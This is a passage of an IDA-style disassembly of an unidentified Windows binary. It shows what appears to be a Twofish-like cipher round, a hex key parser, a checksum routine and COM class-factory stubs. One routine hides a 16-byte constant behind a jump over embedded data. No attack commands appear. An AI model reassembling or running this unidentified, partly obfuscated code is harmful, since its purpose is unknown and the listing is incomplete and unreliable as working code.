		mov	[ebp+var_10], ecx
		mov	ecx, [ebp+var_20+3]
		and	ecx, 0FFh
		shl	ecx, 1
		mov	edx, [ebp+var_20]
		and	edx, 0FFh
		shl	edx, 1
		mov	eax, [ebp+var_F0]
		mov	esi, [ebp+var_F0]
		mov	ecx, [eax+ecx*4+121h]
		xor	ecx, [esi+edx*4+125h]
		mov	edx, [ebp+var_20+1]
		and	edx, 0FFh
		shl	edx, 1
		mov	eax, [ebp+var_F0]
		xor	ecx, [eax+edx*4+921h]
		mov	edx, [ebp+var_20+2]
		and	edx, 0FFh
		shl	edx, 1
		mov	eax, [ebp+var_F0]
		xor	ecx, [eax+edx*4+925h]
		mov	[ebp+var_14], ecx
		mov	ecx, [ebp+var_18]
		rol	ecx, 1
		mov	[ebp+var_18], ecx
		mov	edx, [ebp+var_10]
		add	edx, [ebp+var_14]
		add	edx, [ebp+var_B4]
		mov	eax, [ebp+var_1C]
		xor	eax, edx
		mov	[ebp+var_1C], eax
		mov	ecx, [ebp+var_14]
		mov	edx, [ebp+var_10]
		lea	eax, [edx+ecx*2]
		add	eax, [ebp+var_B0]
		mov	ecx, [ebp+var_18]
		xor	ecx, eax
		mov	[ebp+var_18], ecx
		mov	edx, [ebp+var_1C]
		ror	edx, 1
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+var_1C]
		and	eax, 0FFh
		shl	eax, 1
		mov	ecx, [ebp+var_1C+1]
		and	ecx, 0FFh
		shl	ecx, 1
		mov	edx, [ebp+var_F0]
		mov	esi, [ebp+var_F0]
		mov	eax, [edx+eax*4+121h]
		xor	eax, [esi+ecx*4+125h]
		mov	ecx, [ebp+var_1C+2]
		and	ecx, 0FFh
		shl	ecx, 1
		mov	edx, [ebp+var_F0]
		xor	eax, [edx+ecx*4+921h]
		mov	ecx, [ebp+var_1C+3]
		and	ecx, 0FFh
		shl	ecx, 1
		mov	edx, [ebp+var_F0]
		xor	eax, [edx+ecx*4+925h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_18+3]
		and	eax, 0FFh
		shl	eax, 1
		mov	ecx, [ebp+var_18]
		and	ecx, 0FFh
		shl	ecx, 1
		mov	edx, [ebp+var_F0]
		mov	esi, [ebp+var_F0]
		mov	eax, [edx+eax*4+121h]
		xor	eax, [esi+ecx*4+125h]
		mov	ecx, [ebp+var_18+1]
		and	ecx, 0FFh
		shl	ecx, 1
		mov	edx, [ebp+var_F0]
		xor	eax, [edx+ecx*4+921h]
		mov	ecx, [ebp+var_18+2]
		and	ecx, 0FFh
		shl	ecx, 1
		mov	edx, [ebp+var_F0]
		xor	eax, [edx+ecx*4+925h]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_20]
		rol	eax, 1
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+var_10]
		add	ecx, [ebp+var_14]
		add	ecx, [ebp+var_BC]
		mov	edx, [ebp+var_24]
		xor	edx, ecx
		mov	[ebp+var_24], edx
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+var_10]
		lea	edx, [ecx+eax*2]
		add	edx, [ebp+var_B8]
		mov	eax, [ebp+var_20]
		xor	eax, edx
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+var_24]
		ror	ecx, 1
		mov	[ebp+var_24], ecx
		mov	edx, [ebp+var_1C]
		xor	edx, [ebp+var_CC]
		mov	eax, [ebp+arg_8]
		mov	[eax], edx
		mov	ecx, [ebp+var_18]
		xor	ecx, [ebp+var_C8]
		mov	edx, [ebp+arg_8]
		mov	[edx+4], ecx
		mov	eax, [ebp+var_24]
		xor	eax, [ebp+var_C4]
		mov	ecx, [ebp+arg_8]
		mov	[ecx+8], eax
		mov	edx, [ebp+var_20]
		xor	edx, [ebp+var_C0]
		mov	eax, [ebp+arg_8]
		mov	[eax+0Ch], edx
		cmp	[ebp+var_E4], 2
		jnz	short loc_40F0FC
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx]
		mov	[ebp+var_3C], edx
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax+4]
		mov	[ebp+var_38], ecx
		mov	edx, [ebp+arg_8]
		mov	eax, [edx+8]
		mov	[ebp+var_34], eax
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx+0Ch]
		mov	[ebp+var_30], edx


loc_40F0FC:				; CODE XREF: sub_40DDFF+12D8j
		jmp	loc_40E069
; ---------------------------------------------------------------------------


loc_40F101:				; CODE XREF: sub_40DDFF+296j
		cmp	[ebp+var_E4], 2
		jnz	short loc_40F13A
		mov	eax, [ebp+var_EC]
		mov	ecx, [ebp+var_3C]
		mov	[eax+15h], ecx
		mov	edx, [ebp+var_EC]
		mov	eax, [ebp+var_38]
		mov	[edx+19h], eax
		mov	ecx, [ebp+var_EC]
		mov	edx, [ebp+var_34]
		mov	[ecx+1Dh], edx
		mov	eax, [ebp+var_EC]
		mov	ecx, [ebp+var_30]
		mov	[eax+21h], ecx


loc_40F13A:				; CODE XREF: sub_40DDFF+1309j
		mov	eax, [ebp+arg_4]


loc_40F13D:				; CODE XREF: sub_40DDFF+1BEj
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	0Ch
sub_40DDFF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F145	proc near		; CODE XREF: sub_40DDFF+1D9p

var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	[ebp+var_18], dl
		mov	[ebp+var_14], ecx
		mov	eax, [ebp+var_14]
		add	eax, 0A1h
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_14]
		mov	edx, [ecx+4Dh]
		shl	edx, 1
		mov	eax, [ebp+var_10]
		lea	ecx, [eax+edx*4-8]
		mov	[ebp+var_4], ecx
		jmp	short loc_40F182
; ---------------------------------------------------------------------------


loc_40F170:				; CODE XREF: sub_40F145+7Dj
		mov	edx, [ebp+var_10]
		add	edx, 8
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_4]
		sub	eax, 8
		mov	[ebp+var_4], eax


loc_40F182:				; CODE XREF: sub_40F145+29j
		mov	ecx, [ebp+var_10]
		cmp	ecx, [ebp+var_4]
		jnb	short loc_40F1C4
		mov	edx, [ebp+var_10]
		mov	eax, [edx]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_10]
		mov	edx, [ecx+4]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx]
		mov	[eax], edx
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+4]
		mov	[eax+4], edx
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_C]
		mov	[edx+4], eax
		jmp	short loc_40F170
; ---------------------------------------------------------------------------


loc_40F1C4:				; CODE XREF: sub_40F145+43j
		mov	ecx, [ebp+var_14]
		mov	dl, [ebp+var_18]
		mov	[ecx], dl
		mov	esp, ebp
		pop	ebp
		retn
sub_40F145	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F1D0	proc near		; CODE XREF: sub_40DD7C+31p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	[ebp+var_18], edx
		mov	[ebp+var_14], ecx
		mov	[ebp+var_C], 1
		mov	eax, [ebp+var_C]
		and	eax, 0FFh
		cmp	eax, 1
		jz	short loc_40F1FA
		mov	eax, 0FFFFFFF7h
		jmp	loc_40F325
; ---------------------------------------------------------------------------


loc_40F1FA:				; CODE XREF: sub_40F1D0+1Ej
		mov	[ebp+var_C], 0FFFFFFFFh
		mov	ecx, [ebp+var_C]
		shr	ecx, 11h
		mov	[ebp+var_C], ecx
		cmp	[ebp+var_C], 7FFFh
		jz	short loc_40F21D
		mov	eax, 0FFFFFFF5h
		jmp	loc_40F325
; ---------------------------------------------------------------------------


loc_40F21D:				; CODE XREF: sub_40F1D0+41j
		mov	[ebp+var_10], 0
		jmp	short loc_40F22F
; ---------------------------------------------------------------------------


loc_40F226:				; CODE XREF: sub_40F1D0+77j
		mov	edx, [ebp+var_10]
		add	edx, 1
		mov	[ebp+var_10], edx


loc_40F22F:				; CODE XREF: sub_40F1D0+54j
		mov	eax, [ebp+var_10]
		shl	eax, 5
		cmp	eax, [ebp+var_14]
		jge	short loc_40F249
		mov	ecx, [ebp+var_10]
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+ecx*4], 0
		jmp	short loc_40F226
; ---------------------------------------------------------------------------


loc_40F249:				; CODE XREF: sub_40F1D0+68j
		mov	[ebp+var_10], 0
		jmp	short loc_40F25B
; ---------------------------------------------------------------------------


loc_40F252:				; CODE XREF: sub_40F1D0+14Ej
		mov	eax, [ebp+var_10]
		add	eax, 1
		mov	[ebp+var_10], eax


loc_40F25B:				; CODE XREF: sub_40F1D0+80j
		mov	ecx, [ebp+var_10]
		shl	ecx, 2
		cmp	ecx, [ebp+var_14]
		jge	loc_40F323
		mov	edx, [ebp+var_18]
		add	edx, [ebp+var_10]
		mov	al, [edx]
		mov	[ebp+var_8], al
		cmp	[ebp+arg_4], 0
		jz	short loc_40F286
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_10]
		mov	dl, [ebp+var_8]
		mov	[ecx], dl


loc_40F286:				; CODE XREF: sub_40F1D0+A9j
		movsx	eax, [ebp+var_8]
		cmp	eax, 30h
		jl	short loc_40F2A4
		movsx	ecx, [ebp+var_8]
		cmp	ecx, 39h
		jg	short loc_40F2A4
		movsx	edx, [ebp+var_8]
		sub	edx, 30h
		mov	[ebp+var_4], edx
		jmp	short loc_40F2E7
; ---------------------------------------------------------------------------


loc_40F2A4:				; CODE XREF: sub_40F1D0+BDj
					; sub_40F1D0+C6j
		movsx	eax, [ebp+var_8]
		cmp	eax, 61h
		jl	short loc_40F2C2
		movsx	ecx, [ebp+var_8]
		cmp	ecx, 66h
		jg	short loc_40F2C2
		movsx	edx, [ebp+var_8]
		sub	edx, 57h
		mov	[ebp+var_4], edx
		jmp	short loc_40F2E7
; ---------------------------------------------------------------------------


loc_40F2C2:				; CODE XREF: sub_40F1D0+DBj
					; sub_40F1D0+E4j
		movsx	eax, [ebp+var_8]
		cmp	eax, 41h
		jl	short loc_40F2E0
		movsx	ecx, [ebp+var_8]
		cmp	ecx, 46h
		jg	short loc_40F2E0
		movsx	edx, [ebp+var_8]
		sub	edx, 37h
		mov	[ebp+var_4], edx
		jmp	short loc_40F2E7
; ---------------------------------------------------------------------------


loc_40F2E0:				; CODE XREF: sub_40F1D0+F9j
					; sub_40F1D0+102j
		mov	eax, 0FFFFFFFEh
		jmp	short loc_40F325
; ---------------------------------------------------------------------------


loc_40F2E7:				; CODE XREF: sub_40F1D0+D2j
					; sub_40F1D0+F0j ...
		mov	eax, [ebp+var_10]
		cdq
		and	edx, 7
		add	eax, edx
		sar	eax, 3
		mov	ecx, [ebp+var_10]
		xor	ecx, 1
		and	ecx, 7
		shl	ecx, 2
		mov	edx, [ebp+var_4]
		shl	edx, cl
		mov	ecx, [ebp+arg_0]
		mov	ecx, [ecx+eax*4]
		or	ecx, edx
		mov	eax, [ebp+var_10]
		cdq
		and	edx, 7
		add	eax, edx
		sar	eax, 3
		mov	edx, [ebp+arg_0]
		mov	[edx+eax*4], ecx
		jmp	loc_40F252
; ---------------------------------------------------------------------------


loc_40F323:				; CODE XREF: sub_40F1D0+94j
		xor	eax, eax


loc_40F325:				; CODE XREF: sub_40F1D0+25j
					; sub_40F1D0+48j ...
		mov	esp, ebp
		pop	ebp
		retn	8
sub_40F1D0	endp

; ---------------------------------------------------------------------------
		db 0CCh
		dd 0CCCCCCCCh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F330	proc near		; CODE XREF: rdata:0040A5FCp
					; sub_40AD10+C6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_4]
		inc	ebx
		mov	edi, [ebp+arg_C]
		mov	esi, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		add	edi, 9
		mov	[edi], al
		inc	edi
		mov	ecx, [ebp+arg_4]
		rep movsb
		mov	edi, [ebp+arg_C]
		mov	byte ptr [edi],	1
		push	ebx
		call	sub_40A30E
		mov	[edi+1], eax
		mov	edx, ebx
		mov	ecx, [ebp+arg_C]
		add	ecx, 9
		call	sub_40F490
		push	eax
		call	sub_40A30E
		mov	[edi+5], eax
		add	ebx, 9
		mov	ecx, ebx
		xor	eax, eax
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	10h
sub_40F330	endp

; ---------------------------------------------------------------------------
		db 3 dup(0CCh)
		dd 3 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F390	proc near		; CODE XREF: rdata:0040A637p
					; sub_40AD10+FAp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+arg_0]
		cmp	byte ptr [edi],	1
		jnz	short loc_40F3E4
		mov	edi, [ebp+arg_0]
		mov	ebx, [edi+5]
		mov	eax, [edi+1]
		push	eax
		call	sub_40A30E
		mov	edx, eax
		mov	ecx, [ebp+arg_4]
		sub	ecx, 9
		cmp	eax, ecx
		jnz	short loc_40F3DD
		push	eax
		add	edi, 9
		movzx	esi, byte ptr [edi]
		mov	ecx, edi
		call	sub_40F490
		push	eax
		call	sub_40A30E
		pop	ecx
		cmp	eax, ebx
		jnz	short loc_40F3D6
		xor	eax, eax
		jmp	short loc_40F3E9
; ---------------------------------------------------------------------------


loc_40F3D6:				; CODE XREF: sub_40F390+40j
		mov	eax, 0FFFFFFFFh
		jmp	short loc_40F3E9
; ---------------------------------------------------------------------------


loc_40F3DD:				; CODE XREF: sub_40F390+27j
		mov	eax, 0FFFFFFFFh
		jmp	short loc_40F3E9
; ---------------------------------------------------------------------------


loc_40F3E4:				; CODE XREF: sub_40F390+Cj
		mov	eax, 0FFFFFFFFh


loc_40F3E9:				; CODE XREF: sub_40F390+44j
					; sub_40F390+4Bj ...
		mov	edx, esi
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	8
sub_40F390	endp

; ---------------------------------------------------------------------------
		dw 0CCCCh
		dd 3 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F400	proc near		; CODE XREF: sub_40AD10+130p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFFCh
		push	edi
		push	esi
		push	ebx
		mov	[ebp+var_4], 0
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+arg_0]
		add	esi, 10h
		jmp	short loc_40F424
; ---------------------------------------------------------------------------


loc_40F41B:				; CODE XREF: sub_40F400+43j
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx


loc_40F424:				; CODE XREF: sub_40F400+19j
		cmp	[ebp+var_4], 10h
		jnb	short loc_40F445
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_4]
		mov	cl, [edx+edi]
		add	cl, [eax+esi]
		mov	edx, [ebp+var_4]
		mov	[edx+edi], cl
		mov	eax, [ebp+var_4]
		mov	byte ptr [eax+esi], 0
		jmp	short loc_40F41B
; ---------------------------------------------------------------------------


loc_40F445:				; CODE XREF: sub_40F400+28j
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	4
sub_40F400	endp

; ---------------------------------------------------------------------------
		dd 0CCCCCCCCh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F450	proc near		; CODE XREF: sub_40AD10+4Fp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		jmp	short loc_40F46A
; ---------------------------------------------------------------------------
		dd 0BB971290h, 0F70E54BCh, 0BEFCC1CFh, 0FDA17E52h
		db 20h,	90h
; ---------------------------------------------------------------------------


loc_40F46A:				; CODE XREF: sub_40F450+6j
		mov	eax, [ebp+arg_0]
		lea	edi, [eax+51h]
		mov	ecx, 10h
		lea	esi, loc_40D051+8
		rep movsb
		mov	ecx, [ebp+arg_0]
		call	sub_40C140
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	4
sub_40F450	endp

; ---------------------------------------------------------------------------
		dd 0CCCCCCCCh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F490	proc near		; CODE XREF: sub_40F330+35p
					; sub_40F390+32p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	[ebp+var_14], edx
		mov	[ebp+var_10], ecx
		mov	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], 0


loc_40F4A9:				; CODE XREF: sub_40F490+3Cj
		mov	ecx, [ebp+var_14]
		mov	edx, [ebp+var_10]
		lea	eax, [edx+ecx-4]
		cmp	[ebp+var_C], eax
		ja	short loc_40F4CE
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+var_8]
		add	edx, [ecx]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_C]
		add	eax, 4
		mov	[ebp+var_C], eax
		jmp	short loc_40F4A9
; ---------------------------------------------------------------------------


loc_40F4CE:				; CODE XREF: sub_40F490+26j
		mov	ecx, [ebp+var_C]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_10]
		add	edx, [ebp+var_14]
		cmp	[ebp+var_4], edx
		jnb	short loc_40F4F7
		mov	eax, [ebp+var_4]
		xor	ecx, ecx
		mov	cl, [eax]
		mov	edx, [ebp+var_8]
		add	edx, ecx
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_40F4F7:				; CODE XREF: sub_40F490+4Dj
		mov	ecx, [ebp+var_10]
		add	ecx, [ebp+var_14]
		cmp	[ebp+var_4], ecx
		jnb	short loc_40F51D
		mov	edx, [ebp+var_4]
		xor	eax, eax
		mov	al, [edx]
		shl	eax, 8
		mov	ecx, [ebp+var_8]
		add	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx


loc_40F51D:				; CODE XREF: sub_40F490+70j
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_14]
		cmp	[ebp+var_4], eax
		jnb	short loc_40F543
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		mov	dl, [ecx]
		shl	edx, 10h
		mov	eax, [ebp+var_8]
		add	eax, edx
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx


loc_40F543:				; CODE XREF: sub_40F490+96j
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_40F490	endp

; ---------------------------------------------------------------------------
		dw 0CCCCh
		dd 0CCCCCCCCh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F550	proc near		; CODE XREF: sub_409C10+18p
					; rdata:0040F789p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFFCh
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_0]
		inc	dword_41BED0
		push	dword ptr [ebx+18h]
		call	sub_40A290
		mov	esi, eax
		push	90h
		push	ebx
		push	esi
		call	sub_40F5BF
		mov	ebx, esi
		add	esi, 90h
		mov	[ebp+var_4], esi
		mov	eax, 0Ch
		mov	ecx, [ebx+4]
		mul	ecx
		mov	edi, eax
		push	edi
		push	dword ptr [ebx+8]
		push	esi
		call	sub_40F5BF
		mov	ecx, [ebx+4]
		jmp	short loc_40F5A5
; ---------------------------------------------------------------------------


loc_40F59E:				; CODE XREF: sub_40F550+57j
		mov	[esi+4], ebx
		add	esi, 0Ch
		dec	ecx


loc_40F5A5:				; CODE XREF: sub_40F550+4Cj
		or	ecx, ecx
		jnz	short loc_40F59E
		mov	eax, [ebx+0Ch]
		or	eax, eax
		jz	short loc_40F5B5
		push	[ebp+var_4]
		call	eax


loc_40F5B5:				; CODE XREF: sub_40F550+5Ej
		mov	eax, [ebp+var_4]
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	4
sub_40F550	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F5BF	proc near		; CODE XREF: sub_403FF0+71p
					; sub_404CC5+61p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	0Ch
sub_40F5BF	endp

; ---------------------------------------------------------------------------
		db 8Dh
		dd 24A4h, 9B8D0000h, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F5F0	proc near		; CODE XREF: sub_403FF0+F5p
					; sub_408A40+16p ...

arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		mov	ecx, [ebp+arg_8]
		xor	eax, eax
		mov	edi, [ebp+arg_0]
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		pop	edi
		leave
		retn	0Ch
sub_40F5F0	endp

; ---------------------------------------------------------------------------
		db 90h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+8]
		mov	esi, [ebx+4]
		mov	edi, [esi+4]
		mov	eax, [esi+20h]
		or	eax, eax
		jnz	short loc_40F66D
		xor	ebx, ebx
		add	esi, 90h
		jmp	short loc_40F65D
; ---------------------------------------------------------------------------


loc_40F630:				; CODE XREF: rdata:0040F65Fj
		push	dword ptr [esi+8]
		push	dword ptr [ebp+0Ch]
		call	sub_414420
		cmp	eax, 1
		jnz	short loc_40F659
		lea	eax, [esi]
		mov	ecx, [ebp+10h]
		mov	[ecx], eax
		mov	edx, [ebp+8]
		mov	edx, [edx]
		push	dword ptr [ebp+8]
		call	dword ptr [edx+4]
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40F659:				; CODE XREF: rdata:0040F63Ej
		dec	edi
		add	esi, 0Ch


loc_40F65D:				; CODE XREF: rdata:0040F62Ej
		cmp	edi, ebx
		jnz	short loc_40F630
		mov	ecx, [ebp+10h]
		mov	[ecx], ebx
		mov	eax, 80004002h
		jmp	short loc_40F67A
; ---------------------------------------------------------------------------


loc_40F66D:				; CODE XREF: rdata:0040F624j
		mov	edx, eax
		mov	edx, [edx]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	eax
		call	dword ptr [edx]


loc_40F67A:				; CODE XREF: rdata:0040F66Bj
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	0Ch
; ---------------------------------------------------------------------------
		db 8Dh,	0A4h, 24h
		align 8
		dd 24A48Dh, 90000000h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+8]
		mov	esi, [ebx+4]
		mov	eax, [esi+20h]
		or	eax, eax
		jnz	short loc_40F6A9
		inc	dword ptr [esi]
		mov	eax, [esi]
		jmp	short loc_40F6B1
; ---------------------------------------------------------------------------


loc_40F6A9:				; CODE XREF: rdata:0040F6A1j
		mov	edx, eax
		mov	edx, [edx]
		push	eax
		call	dword ptr [edx+4]


loc_40F6B1:				; CODE XREF: rdata:0040F6A7j
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	4
; ---------------------------------------------------------------------------
		dd 24A48Dh, 90000000h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	ebx
		mov	ebx, [ebp+8]
		mov	edi, [ebx+4]
		mov	eax, [edi+20h]
		or	eax, eax
		jnz	short loc_40F706
		dec	dword ptr [edi]
		mov	eax, [edi]
		or	eax, eax
		jnz	short loc_40F70E
		mov	ecx, [edi+10h]
		or	ecx, ecx
		jz	short loc_40F6E7
		push	dword ptr [ebp+8]
		call	ecx


loc_40F6E7:				; CODE XREF: rdata:0040F6E0j
		dec	dword_41BED0
		mov	ecx, [edi+14h]
		or	ecx, ecx
		jz	short loc_40F6FC
		mov	edx, ecx
		mov	edx, [edx]
		push	ecx
		call	dword ptr [edx+8]


loc_40F6FC:				; CODE XREF: rdata:0040F6F2j
		push	edi
		call	sub_40A296
		xor	eax, eax
		jmp	short loc_40F70E
; ---------------------------------------------------------------------------


loc_40F706:				; CODE XREF: rdata:0040F6D1j
		mov	edx, eax
		mov	edx, [edx]
		push	eax
		call	dword ptr [edx+8]


loc_40F70E:				; CODE XREF: rdata:0040F6D9j
					; rdata:0040F704j
		pop	ebx
		pop	edi
		pop	esi
		leave
		retn	4
; ---------------------------------------------------------------------------
		db 8Dh,	0A4h, 24h
		dd 0
		dd 24648Dh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+0Ch]
		or	edi, edi
		jnz	short loc_40F734
		mov	eax, 80004003h
		jmp	short loc_40F73F
; ---------------------------------------------------------------------------


loc_40F734:				; CODE XREF: rdata:0040F72Bj
		mov	esi, offset byte_41A195
		movsd
		movsd
		movsd
		movsd
		xor	eax, eax


loc_40F73F:				; CODE XREF: rdata:0040F732j
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	8
; ---------------------------------------------------------------------------
		dw 0CCCCh
		dd 2 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFFCh
		push	edi
		push	esi
		push	ebx
		cmp	dword ptr [ebp+0Ch], 0
		jz	short loc_40F764
		mov	eax, 80040110h


loc_40F764:				; CODE XREF: rdata:0040F75Dj
		mov	edi, [ebp+8]
		mov	edi, [edi+4]
		lea	esi, word_41A13A
		mov	ebx, [esi]
		add	esi, 4
		jmp	short loc_40F7BD
; ---------------------------------------------------------------------------


loc_40F777:				; CODE XREF: rdata:0040F7BFj
		push	dword ptr [edi+1Ch]
		push	dword ptr [esi]
		call	sub_414420
		cmp	eax, 1
		jnz	short loc_40F7BA
		push	dword ptr [esi+4]
		call	sub_40F550
		mov	[ebp-4], eax
		or	eax, eax
		jnz	short loc_40F7A3
		mov	eax, 8007000Eh
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	10h
; ---------------------------------------------------------------------------
		db 0EBh, 17h
; ---------------------------------------------------------------------------


loc_40F7A3:				; CODE XREF: rdata:0040F793j
		mov	edx, [ebp-4]
		mov	edx, [edx]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp-4]
		call	dword ptr [edx]
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	10h
; ---------------------------------------------------------------------------


loc_40F7BA:				; CODE XREF: rdata:0040F784j
		add	esi, 8


loc_40F7BD:				; CODE XREF: rdata:0040F775j
		or	ebx, ebx
		jnz	short loc_40F777
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	10h
; ---------------------------------------------------------------------------
		dd 24A48Dh, 90000000h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		cmp	dword ptr [ebp+0Ch], 1
		jnz	short loc_40F7E1
		inc	dword_41BED0
		jmp	short loc_40F7E7
; ---------------------------------------------------------------------------


loc_40F7E1:				; CODE XREF: rdata:0040F7D7j
		dec	dword_41BED0


loc_40F7E7:				; CODE XREF: rdata:0040F7DFj
		xor	eax, eax
		leave
		retn	8
; ---------------------------------------------------------------------------
		db 8Dh,	49h, 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+8]
		mov	ebx, [ebx+4]
		mov	dword ptr [ebx+2Ch], 0
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	edi
		push	esi
		mov	ebx, [ebp+8]
		mov	ebx, [ebx+4]
		pop	esi
		pop	edi
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------
		db 3 dup(0CCh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFECCh
		push	edi
		push	esi
		push	ebx
		call	sub_40FC26
		mov	esi, [ebp+8]
		xor	ebx, ebx
		jmp	loc_40F8CA
; ---------------------------------------------------------------------------


loc_40F83B:				; CODE XREF: rdata:0040F8D0j
		lea	eax, byte_419FFB
		cmp	byte ptr [ebx+eax], 1
		jnz	short loc_40F8C6
		mov	ecx, [esi+0Ch]
		mov	ecx, [ecx]
		mov	edx, [esi+8]
